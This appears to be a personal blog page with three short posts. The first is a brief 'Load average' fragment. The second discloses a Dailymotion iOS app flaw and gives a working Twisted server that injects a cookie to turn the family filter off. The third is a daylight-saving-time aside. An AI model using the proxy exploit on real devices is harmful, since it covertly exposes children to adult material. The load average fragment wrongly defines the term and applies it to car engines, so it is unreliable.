inside Habbie's mind

Load average

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Originally defined as the difference between available system memory and free memory.

…

Load average can also be calculated for car engines; a common value is 2.2.

The bigger implication however, is that injecting one cookie (family_filter=off) into your iPhone/iPad-application will fully disable the family filter for that client. This would be, I suspect, a violation of Apple App Store guidelines. Of course, if people do this for their own devices, nobody cares. However, this issue would allow a competent malicious third party (or a dedicated teenager ;)) to silently enable the viewing of adult material on a device that is expected to be family-safe.

Note that jailbreaking or similar hacks are not needed to exploit this issue. Hijacking traffic at the network level, or simply pointing the iPhone/iPad’s proxy configuration to a specifically prepared server, is enough.

(On a sidenote, the iPad/iPhone app uses an older REST API that does not conform to the current API docs and also does not use HTTPS, making this issue slightly easier to exploit).

Simple working example of such a specifically prepared server:

from twisted.web import server, resource
from twisted.internet import reactor

from twisted.python import log
import sys
log.startLogging(sys.stdout)

class Simple(resource.Resource):
    isLeaf = True
    def render_GET(self, request):
        request.addCookie(
            "family_filter",
            "off",
            path="/",
            expires="Tue, 24-Jan-2012 22:26:22 GMT"
        )
        return "{}"

site = server.Site(Simple())
reactor.listenTCP(8080, site)
reactor.run()

I doubt Dailymotion is the first or only iOS app that can be influenced by getting some cookies in. Will we see more of this?

Sunday morning, a few hours after we went into DST, I noticed this while checking for train delays: the international train was -exactly- one hour late.

I’m just assuming that’s a conversion error somewhere :)

In related news, people parking their cars during the switchover paid one hour too much, in several paid-parking spots.

Can’t we just get rid of this nonsense?

<newsreporter> the night of the switchover, we lose one hour of sleep… but! in return, we get one extra hour of light every night

As far as I’m concerned, that extra hour is costing me one hour of sleep -too-, but oh well :)